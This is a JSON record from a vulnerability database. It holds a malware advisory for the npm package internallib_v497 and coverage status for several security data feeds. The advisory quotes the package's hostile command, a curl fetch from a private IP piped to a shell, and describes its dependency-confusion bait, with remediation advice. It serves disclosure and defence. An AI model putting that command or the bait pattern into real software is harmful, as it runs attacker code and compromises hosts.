{"id":"GHSA-94q5-67r5-mwjx","revision":null,"records":[{"revision":"f99e27d7e4834eee909a8c2f4d8237e8","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-16438","aliases":["GHSA-94q5-67r5-mwjx"],"title":"Malicious code in internallib_v497 (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (37d367008a98c6bac6f9018de18ff5a75917cad3031c6bca1e7d4e5e257d3505)\nnpm package internallib_v497@1.0.3 ships an index.js that exports a function which shell-executes `curl http://10.0.5.109/shell.sh | sh` via `child_process.exec('/bin/bash -c...')`, fetching an unauthenticated script over plain HTTP from a private RFC1918 address and piping it to a shell. Any consumer that requires the module and invokes the exported `command()` runs whatever code is served at 10.0.5.109 on the installer host. The package.json additionally declares its own name `internallib_v497` as a dependency (`^1.0.0`), matching the classic dependency-confusion bait shape: an organization that maintains a private package by this name and resolves it from the public npm registry will pull this artifact and execute its payload.\n\n## Source: ghsa-malware (c249c697a7f4493519fe0bcc28ae8850e97fb0b70c3742ab2f880f89919852b3)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","state":0,"publishedAt":"2026-09-23T01:42:16+00:00","modifiedAt":"2026-09-23T20:30:05.6263242+00:00","affected":[{"ecosystem":"npm","name":"internallib_v497","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":["1.0.3"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/internallib_v497/v/1.0.3","https://github.com/advisories/GHSA-94q5-67r5-mwjx"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-16438","license":"OSV · upstream source license applies","key":"osv:MAL-2026-16438","identifiers":["MAL-2026-16438","GHSA-94q5-67r5-mwjx"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-88e6245ba7dc4729a2344f78a2d37df7","complete":true,"records":13774,"lastAttemptAt":"2026-11-12T17:19:38.3951622+00:00","lastSuccessAt":"2026-11-12T17:19:38.384+00:00","error":null,"lastVerifiedAt":"2026-11-12T17:19:38.384+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13827,"expectedIdentifiers":13827,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-12T17:18:53.3551573+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-12T17:18:53.3551573+00:00","lastSuccessAt":"2026-11-12T17:18:53.5137452+00:00","error":null,"lastVerifiedAt":"2026-11-12T17:18:53.5137465+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-053c822da76a4019981dc05530c81af1","complete":false,"records":13774,"lastAttemptAt":"2026-11-12T17:19:19.2511928+00:00","lastSuccessAt":"2026-11-12T17:19:19.245+00:00","error":"200 identifier lookups failed; latest failures include HttpError (HTTP 503). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-12T17:19:19.245+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13613,"expectedIdentifiers":13827,"failedIdentifiers":200},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-12T17:18:53.1888873+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-12T17:18:53.1888873+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-4d60731753a2f72e455d1086e7203d0ef10843936dcc1cf2b45135e2caa204b0","complete":true,"records":2012,"lastAttemptAt":"2026-11-12T18:16:50.9322629+00:00","lastSuccessAt":"2026-11-12T18:16:50.7862525+00:00","error":null,"lastVerifiedAt":"2026-11-12T18:16:50.9322629+00:00","snapshotPublishedAt":"2026-11-12T17:48:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-0d57668ba92a2918d0664e89ea91d467f8e6a2bc6330923eb883b74ac42a14ec","complete":true,"records":3125,"lastAttemptAt":"2026-11-12T17:18:53.2989437+00:00","lastSuccessAt":"2026-11-12T15:18:36.6112732+00:00","error":null,"lastVerifiedAt":"2026-11-12T17:18:53.2989437+00:00","snapshotPublishedAt":"2026-11-12T14:48:37+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-bde599d85a9f7715a977e2ca25ddb66721130a1c4ff1699631218bc0243e1ab5","complete":true,"records":231717,"lastAttemptAt":"2026-11-12T18:16:57.5962853+00:00","lastSuccessAt":"2026-11-12T17:18:51.4424333+00:00","error":null,"lastVerifiedAt":"2026-11-12T17:18:53.040847+00:00","snapshotPublishedAt":"2026-11-12T16:33:03+00:00","importing":true,"stagedRecords":190500,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}